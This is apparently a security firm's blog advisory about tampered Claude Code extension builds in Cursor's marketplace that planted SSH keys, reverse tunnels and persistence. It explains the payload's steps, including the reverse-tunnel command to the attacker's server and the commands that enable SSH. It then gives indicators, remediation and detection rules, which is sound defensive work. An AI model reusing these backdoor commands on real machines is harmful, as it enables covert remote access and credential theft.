Yaamlabs

Supply chain

Tampered Claude Code extension planted SSH backdoors

A fake Claude Code build in Cursor's marketplace added an attacker SSH key and a reverse tunnel. How to check developer machines and clean them up.

On October 29, 2026, two tampered builds of the Claude Code extension, Anthropic.claude-code versions 2.1.312 and 2.1.313, were served from Cursor's own VS Code extension marketplace for about 11 hours, from roughly 2:27am to 1:35pm Pacific time (09:27 to 20:35 UTC). Cursor, the AI code editor built on VS Code, is reported to have pushed them to at most about 5,000 users (an estimate relayed by press; Cursor's own notice gives no count). The builds added an attacker's SSH key to the user's account, tried to open a reverse SSH tunnel to an attacker server, and installed persistence that keeps running after the extension is removed.

The poisoned packages carried the real publisher name and Cursor's notice lists macOS and Windows packages, though the payload also contains a Linux persistence path. Cursor says Anthropic did not build them, and copies on Microsoft's Visual Studio Marketplace, Open VSX and npm were not affected. If your developers use Cursor with Claude Code and the editor updated extensions that day, check those machines now. Updating to a clean build does not undo anything the bad one did.

How it works

A VS Code extension is a bundle of JavaScript that the editor's Node.js extension host loads at startup. The attacker prepended a small function to the minified extension.js; the rest of the file is the normal extension. Because that function runs the moment Node loads the file, before the extension's activate callback, the user did not have to open Claude Code or type anything. Phorion, the macOS security firm that analysed it, found it uses Node's child_process, fs, http and crypto modules.

The payload then works through five steps:

  1. It appends an Ed25519 public key with the comment svc-telemetry to ~/.ssh/authorized_keys and tightens the folder and file permissions so SSH accepts it. That key lets the attacker log in as the user.
  2. It tries to turn on the local SSH server: systemsetup -setremotelogin on on macOS, the sshd service on Linux, and Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 on Windows. These need admin rights, so they fail on most machines.
  3. It writes a second embedded private key to a temp file named .stk_ plus 10 hex characters and runs ssh -N -R '*:0:localhost:22' as user tunnel to 134.209.82.225 on TCP 22, or autossh -M 0 if installed. The -R flag asks the server to open a port that forwards back to the victim's port 22, so the attacker can log in through the tunnel with the planted key without any inbound firewall rule. A shell loop retries every 60 seconds.
  4. It installs persistence for that loop (paths below).
  5. It sends one JSON report by plain HTTP POST to /beacon on port 8099 of the same server: hostname, username, OS, architecture, home and working directories, global Git email, public IP, and the names, not values, of up to 40 environment variables matching KEY, TOKEN, SECRET, PASS, AWS or GCP.

Phorion found a bug that blunts the macOS version. The script runs systemsetup -getremotelogin without admin rights, gets an error message, and only enables Remote Login if the output contains "Off". The error does not match, so the step is skipped. The tunnel still connects, but it forwards to a closed port. If Remote Login is already on, or someone turns it on later, the backdoor works. Cursor reached the same conclusion: the key and persistence were installed even where SSH could not be enabled.

What we know about the attack

Phorion published its advisory on October 30 and updated it on October 31 to add 2.1.312 after Cursor revised its own notice. Early reports, including Phorion's first version, said the package came from Open VSX, the Eclipse Foundation's extension registry. Phorion and others corrected that: Open VSX lists no 2.1.313, and the malicious copies came from Cursor's marketplace. Version 2.1.312 is also a genuine release elsewhere, so the version number alone does not prove infection; the file hash does.

How the attacker got the builds into Cursor's marketplace has not been disclosed, and nobody has said who ran the server. Cursor removed the versions, shut down its marketplace, audited access, found no other tampered extensions, rotated its keys, rebuilt the marketplace and brought it back. It also had the hosting provider take 134.209.82.225 offline, which stops the tunnel and the beacon. It has not said whether any attacker logged in through a tunnel before that, so treat any machine with the key as possibly accessed.

What to do

  1. Find exposure. Look in the Cursor extensions folder (~/.cursor/extensions/ on macOS, %USERPROFILE%\.cursor\extensions\ on Windows) for anthropic.claude-code-2.1.312* or anthropic.claude-code-2.1.313*. Compare extension.js with the malicious SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15, or search it for 134.209.82.225 and svc-telemetry. Then make sure the extension is on a clean release; the current one, 2.1.314, was published on October 30.
  2. Check for the key. On macOS and Linux, grep -s svc-telemetry ~/.ssh/authorized_keys. On Windows, also check C:\ProgramData\ssh\administrators_authorized_keys, which OpenSSH uses for admin accounts. Comments can be edited, so match the fingerprint too: ssh-keygen -lf ~/.ssh/authorized_keys and look for SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk.
  3. Remove persistence and kill the loop. On macOS, unload and delete ~/Library/LaunchAgents/com.apple.sysmond.plist (a fake Apple name that runs /bin/sh ~/.config/.smt), then delete ~/.config/.smt and ~/.config/.smtk. On Windows, delete the scheduled task SysMon, sysmon.cmd in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\, and %USERPROFILE%\.config\smt.cmd and smtk. On Linux, remove the @reboot crontab line that runs .config/.smt. Delete any .stk_* file in the temp folder and kill ssh or autossh processes using -R *:0:localhost:22. Cursor publishes scripts that do all of this: remediate-macos.sh (run as the user, not root) and remediate-windows.ps1 (run as Administrator).
  4. Check whether anyone used it. Logins through the tunnel arrive from localhost, so search SSH logs for successful logins from 127.0.0.1 or ::1 that used the svc-telemetry key fingerprint. On the network side, search firewall and proxy logs for outbound TCP 22 or 8099 to 134.209.82.225 since October 29. Lookups of ifconfig.me and api.ipify.org were also made, but those are normal services and prove nothing alone.
  5. Rotate and decide on a rebuild. If the key was present, isolate the machine, then from a different, trusted machine rotate every credential and session that user could reach: cloud keys, Git tokens, package registry tokens, SSH keys and SaaS sessions. Start with whatever the environment variable names point to, because the attacker has that list. Cursor recommends considering a full rebuild, since the known files may not be everything an attacker who logged in left behind.

Treat the editor as a privileged agent

This attack never touched the official package. It went through a second marketplace that redistributes extensions, under the right publisher name, so checking the publisher would not have caught it. The useful controls are elsewhere: an endpoint rule that alerts when an editor helper process (Cursor Helper, Code Helper) writes to authorized_keys, which Phorion recommends because the payload writes with Node's file API rather than echo or tee; an alert on non-Apple processes creating com.apple.* LaunchAgents; outbound SSH blocked from developer laptops except to approved hosts; and Remote Login left off on Macs unless someone needs it.

Our security operations team runs hunts like this across developer endpoints, and our safeguarding and hardening work sets the egress and endpoint rules that would have flagged this tunnel. Open the chat and Yaali, our AI agent, will pass your question to an engineer.


Sources: Cursor security notice, Phorion advisory, Help Net Security, BleepingComputer, Sophos, Rescana.

Back to the blog, or read this post on the full site.